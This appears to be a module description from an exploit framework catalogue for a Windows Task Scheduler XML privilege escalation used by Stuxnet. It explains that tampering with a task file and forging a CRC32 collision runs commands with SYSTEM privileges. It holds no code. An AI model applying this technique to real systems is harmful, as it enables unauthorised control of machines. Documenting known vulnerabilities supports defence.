Windows Escalate Task Scheduler XML Privilege Escalation module exploits the Task Scheduler 2.0 XML 0day used by Stuxnet. Windows Task Scheduler uses CRC32 checksum to validate task files, allowing tampering with file leading to execution of arbitrary commands with SYSTEM privileges

This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.  
When processing task files, the Windows Task Scheduler only uses a CRC32  
checksum to validate that the file has not been tampered with. Also, In a default  
configuration, normal users can read and write the task files that they have  
created. By modifying the task file and creating a CRC32 collision, an attacker  
can execute arbitrary commands with SYSTEM privileges.
